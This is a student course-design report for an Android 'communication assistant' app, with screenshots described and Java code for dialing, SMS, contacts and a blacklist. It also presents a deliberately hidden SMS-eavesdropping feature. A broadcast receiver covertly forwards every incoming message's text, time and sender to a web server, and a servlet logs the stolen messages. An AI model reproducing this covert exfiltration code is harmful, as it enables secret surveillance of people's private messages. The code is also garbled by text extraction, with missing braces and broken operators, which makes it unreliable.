1、移动开发课程设计项目说明 Mobile Application 课程设计项目说明 题目 手机通讯助手 学号 姓名 1移动开发课程设计项目说明 一)项目功能说明(需求分析和主要功能) 需求分析: 越来越多的移动平台的应用, 特别是 社交、 社区应用都会为方便 用户进行即时的沟通而在软件中集成拨打电话, 发送即时短信, 添加 某某到手机联系人等功能。 免去了打开系统通讯录再进行此类操作的 繁琐。现代社会信息技术发达,垃圾短信泛滥,个人隐私极易泄 露。 我们应该关注信息的安全性, 提高隐私保护意识, 安装软件要看清楚 它有哪些潜在的危险,对于可能接触 用户隐私的程序要慎重安装。 2移动开发课程设计项
2、目说明 功能: 1 、拨打电话 2 、发送短信 3 、添加联系人到系统通讯录 4 、短信黑名单,不接受黑名单中号码发来的短信 5 、窃听本机接收到的短信,通过网络发送到 Web 服务器 3移动开发课程设计项目说明 二)项目截图(附必要说明) 1 、点击手机主界面上的“通讯助手 V1.3 ”图标,启动该应用。 点击退出可退出程序, 返回主界面; 点击添加联系人则进入添加联系 人界面。 注意窗口预先输入的文字是浅色的, 不可编辑的, 不会构成 用户输入的内容。 4移动开发课程设计项目说明 2 、一键拨号功能,安装在真实的手机 上可以实现拨打电话。当然 , 需要支付相应的通讯费用。图为从模拟器 55
3、54 向模拟器 5556 拨号。 向右滑动解锁键即可接听。 5移动开发课程设计项目说明 3 、短信聊天功能,在真实的手机上也 可发送短信到指定号码,需 支 付相应的通信费。 图为从 5554 模拟器向 5556 模拟器发送短信, 5556 收到短信提示。 6移动开发课程设计项目说明 4 、 向系统通讯录中添加联系人, 注意刚开始 5554 模拟器只有一位联 系人,当执行添加联系人功能后,通讯录中即显示加入的新联系 人。 7移动开发课程设计项目说明 5 、短信窃听功能,即将装有这款软件 的手机收到的短信发往指定 的 服务器, 此项功能是隐藏的, 用户不可见的。 从 5556 向 5554 发短信
4、, 5554 收到信息的同时,服务器端成功窃听到,并显示相应内容。 8移动开发课程设计项目说明 6 、短信屏蔽功能。屏蔽短信黑名单中 的号码发来的短信。图为模 拟 器 5558( 该号码已加入黑名单) 向模拟器 5554 发短信, 5554 未接收到, 但是从服务器端窃听到的内容可看出, 模拟器 5558 的确曾向 5554 发 过短信, 只是被该应用屏蔽, 该应用接收短息的优先级高于其他短信 接收程序, 并且一旦该应用接收到该广播消息, 就终止其再向其它程 序传播,使得用户手机不显示信息。 9移动开发课程设计项目说明 10移动开发课程设计项目说明 三)自我评价(主要特点和待解决的问题) 1、
5、基本实现了拨号、发短信、新建联 系人、短信屏蔽、短信窃听 功 能,程序有一定的健壮性。 2 、各项功能都有待完善,完全可以在 此基础上开发一款通讯增强 工 具。 (1) 无论是拨号或者发短信都局限于让用户在 EditView 中输入一 个完整的号码, 比较繁琐。 若能读取 系统通讯录中的联系人信息, 接 管系统的拨号、信息功能则更加方便实用。 (2)短信屏蔽不够完善,只是屏蔽了我在程序中设定的几个号码, 应该由用户来设置短信黑名单。 (3)短信聊天其实没有实现聊天室的功能,只是单一短信的发送, 接收到的短信没有与发出的短信形成一组组对话。 手机接收的短信还 是由系统自带的短信管理程序接收。 (
6、4) 还可以进一步开发来电黑名单,并制定短信、来电拦截规则 。 也可以开发本机对外拨号、发短信限 制等一系列通讯增强功能。 11移动开发课程设计项目说明 四)主要功能代码(附有必要的注释) 核心功能代码(省略了界面布局等代码) : 1 、拨打电话 public void onClick(View v) String number = mobileText.getText().toString(); if (number.length() = 0) Toast.makeText(LsqkcsjActivity.this, R.string.resend, Toast.LENGTH_LONG).s
7、how(); else Intent intent = new Intent(); intent.setAction(“android.intent.action.CALL“); intent.setData(Uri.parse(“tel:“ + number); startActivity(intent); 2 、发送短信 public void onClick(View v) String number = mobileText.getText().toString(); String content = contentText.getText().toString(); if (numb
8、er.length() = 0) | (content.length() = 0) Toast.makeText(LsqkcsjActivity.this, R.string.error1, Toast.LENGTH_LONG).show(); else SmsManager manager = SmsManager.getDefault(); ArrayList texts = manager.divideMessage(content); for (String text : texts) manager.sendTextMessage(number, null, text, null,
9、null);/ 短信中心地址,发送状态,接受状态全部置为null Toast.makeText(LsqkcsjActivity.this, 12移动开发课程设计项目说明 R.string.success, Toast.LENGTH_LONG).show(); 3 、添加联系人 public void onClick(View v) name = edt1.getText().toString(); number = edt2.getText().toString(); email = edt3.getText().toString(); if (name.length() = 0) | (nu
10、mber.length() = 0) | | ( email.length() = 0) Toast.makeText(OtherActivity.this, R.string.error2, Toast.LENGTH_LONG).show(); else Uri uri = Uri . parse(“content:/com.android.contacts/raw_contacts“); ContentResolver resolver = getContentResolver(); ContentValues values = new ContentValues(); long cont
11、actid = ContentUris.parseId(resolver.insert(uri, values); / 添加姓名 uri = Uri.parse(“content:/com.android.contacts/data“); values.put(“raw_contact_id“, contactid); values.put(“mimetype“, “vnd.android.cursor.item/name“); values.put(“data2“, name); resolver.insert(uri, values); / 添加电话 values.clear(); val
12、ues.put(“raw_contact_id“, contactid); values.put(“mimetype“, “vnd.android.cursor.item/phone_v2“); values.put(“data2“, “2“); 13移动开发课程设计项目说明 values.put(“data1“, number); resolver.insert(uri, values); / 添加Email values.clear(); values.put(“raw_contact_id“, contactid); values.put(“mimetype“, “vnd.android
13、.cursor.item/email_v2“); values.put(“data2“, “2“); values.put(“data1“, email); resolver.insert(uri, values); Toast.makeText(OtherActivity.this, “添加成功!“, Toast.LENGTH_LONG) .show(); 4 、短信窃听 public void onReceive(Context context, Intent intent) Object pdus = (Object) intent.getExtras().get(“pdus“); fo
14、r (Object p : pdus) byte pdu = (byte) p; SmsMessage message = SmsMessage.createFromPdu(pdu); String content = message.getMessageBody(); Date date = new Date(message.getTimestampMillis(); SimpleDateFormat format = new SimpleDateFormat( “yyyy-MM-dd HH:mm:ss“); String receiveTime = format.format(date);
15、 String senderNumber = message.getOriginatingAddress(); sendSMS(content, receiveTime, senderNumber); /boolean s=sendSMS(content, receiveTime, senderNumber); if(“15555215558“.equals(senderNumber) /Toast.makeText(context, content, /Toast.LENGTH_LONG).show(); 屏蔽15555215558这个号码的短信 14移动开发课程设计项目说明 abortBr
16、oadcast(); private boolean sendSMS(String content, String receiveTime, String senderNumber) try String params = “content=“ + URLEncoder.encode(content, “UTF-8“) + “ byte entity = params.getBytes(); String path = “http:/10.0.2.2:8080/kcsjweb/ReceiveSMSServlet“; HttpURLConnection conn = (HttpURLConnec
17、tion) new URL(path) .openConnection(); conn.setConnectTimeout(5000); conn.setRequestMethod(“POST“); conn.setDoOutput(true); conn.setRequestProperty(“Content-Type“, “application/x-www-form-urlencoded“); conn.setRequestProperty(“Content-Length“, String.valueOf(entity.length); conn.getOutputStream().wr
18、ite(entity); if (conn.getResponseCode() = 200) return true; catch (Exception e) e.printStackTrace(); return false; 15移动开发课程设计项目说明 16 服务器端Servlet : public class ReceiveSMSServlet extends HttpServlet private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, Http
19、ServletResponse response) throws ServletException, IOException protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException String content = request.getParameter(“content“); String receiveTime = request.getParameter(“receivetime“); String sende
20、rNumber = request.getParameter(“sendernumber“); System.out.println(“=*=“); System.out.println(“短信内容: “ + content); System.out.println(“接收时间: “ + receiveTime); System.out.println(“发送者: “ + senderNumber); System.out.println(“n“); Override public void init() throws ServletException / TODO Auto-generated method stub super.init(); System.out.println(“准备接受窃听到的短信, 请等待“);